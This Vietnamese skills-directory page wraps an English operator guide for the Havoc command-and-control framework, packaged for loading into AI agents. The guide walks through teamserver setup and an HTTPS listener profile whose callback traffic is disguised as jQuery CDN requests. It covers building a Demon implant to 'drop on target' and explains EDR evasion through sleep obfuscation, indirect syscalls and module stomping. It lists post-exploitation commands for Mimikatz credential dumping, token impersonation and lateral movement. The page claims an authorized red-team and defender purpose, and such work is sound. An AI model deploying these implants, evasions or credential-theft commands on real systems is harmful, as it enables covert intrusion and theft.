c2-havoc
Skill này làm gì
Hướng dẫn này nói về một framework điều khiển mã nguồn mở dùng trong công việc red team được ủy quyền. Dành cho đội red team cần thiết lập nó và cho người phòng thủ muốn nhận ra lưu lượng của nó.
Khi nào nên dùng
- ✓Khi một diễn tập red team được ủy quyền dùng Havoc và cần hiểu cách thiết lập của nó.
- ✓Khi một đội phòng thủ muốn biết các profile của Havoc thay đổi lưu lượng mạng như thế nào.
- ✓Khi một nhóm so sánh các framework mã nguồn mở cho một diễn tập được ủy quyền.
Liên kết skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/c2/havoc/SKILL.mdSao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.
Cách dùng
Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.
Tin nhắn có sẵn để dán
Dành cho Claude Code, Codex hoặc Cursor: chạy lệnh trong thư mục dự án của bạn và skill sẽ được cài đặt.
Tải tệp SKILL.md về và thả vào thư mục skill của agent.
Ví dụ cách nhờ AI
“Chúng tôi đang so sánh các framework điều khiển cho một diễn tập được ủy quyền. Bạn có thể giải thích Havoc được thiết lập ra sao và lưu lượng của nó trông như thế nào không?”
5 skill mới mỗi tuần. Đọc chỉ 1 phút.
Cách hoạt động
Agent giải thích teamserver, client và các cài đặt profile, rồi gợi ý những gì giám sát nên tìm kiếm trong suốt diễn tập.
Nội dung kỹ thuật (SKILL.md gốc)
Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.
Havoc C2 Operator Skill
Havoc (C5pider) is an open-source, modern C2 framework released 2023. The Demon agent ships with hardened OPSEC defaults (indirect syscalls, sleep obfuscation, no static strings) that make it harder to detect than older OSS frameworks.
Setup
# Build from source (Linux)
git clone https://github.com/HavocFramework/Havoc
cd Havoc
make ts-build
make client-build
make server-build
# Or run via Docker
docker compose up -d
Architecture
┌────────────┐ ┌─────────────┐ ┌──────────┐
│ Operator │ <───> │ Teamserver │ <───> │ Demon │
│ (Client) │ TS │ (Go + gRPC) │ HTTP │ (Implant)│
└────────────┘ └─────────────┘ └──────────┘
- Teamserver: Listens on operator port (40056 default) for clients; HTTP listener for demons.
- Client: Qt-based desktop UI (Material Dark).
- Demon: Windows x86_64/x86 implant in C with embedded sleep obfuscation + indirect syscalls.
Configure a profile
Havoc uses a profiles.yaotl HCL-like config. Example for a low-OPSEC HTTP listener:
Teamserver {
Host = "0.0.0.0"
Port = 40056
Build {
Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}
Operators {
user "op-alice" { Password = "strongpassword" }
}
Listeners {
Http {
Name = "primary-http"
Hosts = ["op-server.com"]
HostBind = "0.0.0.0"
PortBind = 443
PortConn = 443
Secure = true
HostRotation = "round-robin"
Uris = ["/jquery-3.3.1.min.js", "/jquery-3.3.2.min.js"] # blend with CDN traffic
Headers = ["X-Forwarded-For: 1.2.3.4"]
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
}
}
Then ./havoc server --profile profiles.yaotl -v.
Build a Demon
In the client UI:
- Attack → Payload → Demon
- Listener: select your HTTP listener
- Arch: x64 / x86
- Format: Windows Exe / Windows DLL / Shellcode
- Sleep Technique: Ekko (queue user APC ROP chain) / Zilean (timer-based) / FOLIAGE (ROP-based)
- Indirect Syscalls: Enable (resolves syscalls at runtime, bypasses static SSN hooks)
- Save → drop on target
# CLI build (haven't found stable CLI build API as of 2024; use the Qt client for now)
What makes Havoc's OPSEC strong
Sleep obfuscation (3 options)
- Ekko: queues a user APC that ROPs through SystemFunction032/033 to RC4-encrypt the .text section, then sleeps, then decrypts.
- Zilean: timer-based variant.
- FOLIAGE: pure ROP chain, no Win32 timer dependency.
Result: while Demon sleeps, its code in memory is encrypted → memory scanners (Defender, Elastic, MDE) can't sig-match.
Indirect syscalls
Most EDRs hook NtAllocateVirtualMemory etc. in ntdll. Direct-syscall implants (older Cobalt Strike) bypass this but get detected by syscall-from-non-ntdll heuristics.
Havoc's indirect syscalls: resolve the syscall stub address at runtime, jump TO that address (so the syscall appears to come from ntdll), then return.
No static strings
All strings (Win32 API names, C2 URI paths, command names) are hashed and resolved at runtime via DJB2/FNV1A. strings demon.exe | grep -i shell returns nothing.
Module stomping
Demon module can be hidden by overwriting an existing legitimate module (mscorlib.dll, clr.dll).
Common commands
> shell whoami /all
> proc list
> proc kill <pid>
> token impersonate <pid>
> dotnet inline-execute <SharpHound.exe> -c All
> mimi !sekurlsa::logonpasswords # built-in Mimikatz wrap
> spawnas <user> <pass> <listener> # spawn new demon as different user
> jump <psexec64|wmi|smb_lateral> <host> # lateral movement
Comparison: Havoc vs Sliver vs Mythic vs Cobalt Strike
| Havoc | Sliver | Mythic | Cobalt Strike | |
|---|---|---|---|---|
| Sleep obfuscation | Built-in (Ekko/Zilean/FOLIAGE) | None — needs BOF | Per-agent | Built-in (Sleep Mask) |
| Indirect syscalls | Yes, opt-in | No (only direct) | Per-agent | Yes (via patches) |
| OPSEC defaults | Strong | Fair | Per-agent | Excellent |
| Modern UI | Yes (Qt MaterialUI) | Web + CLI | Web | Heavy Java |
| Cross-platform implant | Windows only (Demon) | Yes (Sliver) | Per-agent (Poseidon=macOS/Linux) | Yes (Beacon) |
| License | GPL OSS | GPL OSS | BSD OSS | Commerci |
Câu hỏi thường gặp
Havoc là gì?
Đó là một framework điều khiển mã nguồn mở, có client người vận hành và teamserver.
Profile là gì?
Đó là các file cấu hình đặt cách framework giao tiếp.
Ai là đối tượng của nó?
Đội red team được ủy quyền và người phòng thủ giám sát họ.
Chi tiết
Mô tả gốc của tác giả
Havoc C2 framework (C5pider/Havoc) — modern Sliver/CS alternative, Demon agent with indirect syscalls, sleep obfuscation (Ekko/Zilean/FOLIAGE), Donut PIC loader integration, profile-driven HTTP comms, MaterialUI web client. Best when you need modern OPSEC without Cobalt Strike cost.
Độ phổ biến
- Sao GitHub
- 6.5k
- Vị trí xếp hạng
- #14131
- Giấy phép
- Apache-2.0
- Cập nhật
- 1/11/2026
Bình luận
- …
Thêm skill từ kho mã này
detector-overview
6.5kGiúp agent của bạn đọc code mà một công cụ quét đã đánh dấu, rồi quyết định điểm nào là lỗ hổng bảo mật thật và điểm nào là báo động giả.
exploiter-overview
6.5kGiúp agent của bạn ghép nhiều lỗ hổng bảo mật đã xác nhận thành một chuỗi kiểm thử và kiểm tra chuỗi đó có thể gây hậu quả đến đâu.
llm-redteam-overview
6.5kGiúp agent của bạn tìm đúng hướng dẫn red-team AI cho một bài kiểm thử, bao quát 15 nhóm chiến thuật từ prompt injection đến lạm dụng mô hình.
aatmf-t01-prompt-injection
6.5kGiải thích prompt injection, khi các chỉ dẫn ẩn cố ghi đè một hệ thống AI, để chuyên gia bảo mật có thể kiểm tra lỗi này.
Skill tương tự
reverse-engineer-anything
422kGiúp agent của bạn xem bên trong các app và package đã phát hành để giải thích tính năng, so sánh phiên bản hoặc hướng dẫn dựng lại bằng công cụ REA.
1password
394kGiúp agent của bạn cài đặt CLI của 1Password, đăng nhập, và đọc hoặc đưa thông tin bí mật vào mà không in giá trị ra cuộc trò chuyện.
healthcheck
394kGiúp agent của bạn rà soát bảo mật máy tính hoặc máy chủ đang chạy OpenClaw, như SSH, tường lửa, cập nhật và sao lưu, rồi đề xuất cách sửa an toàn.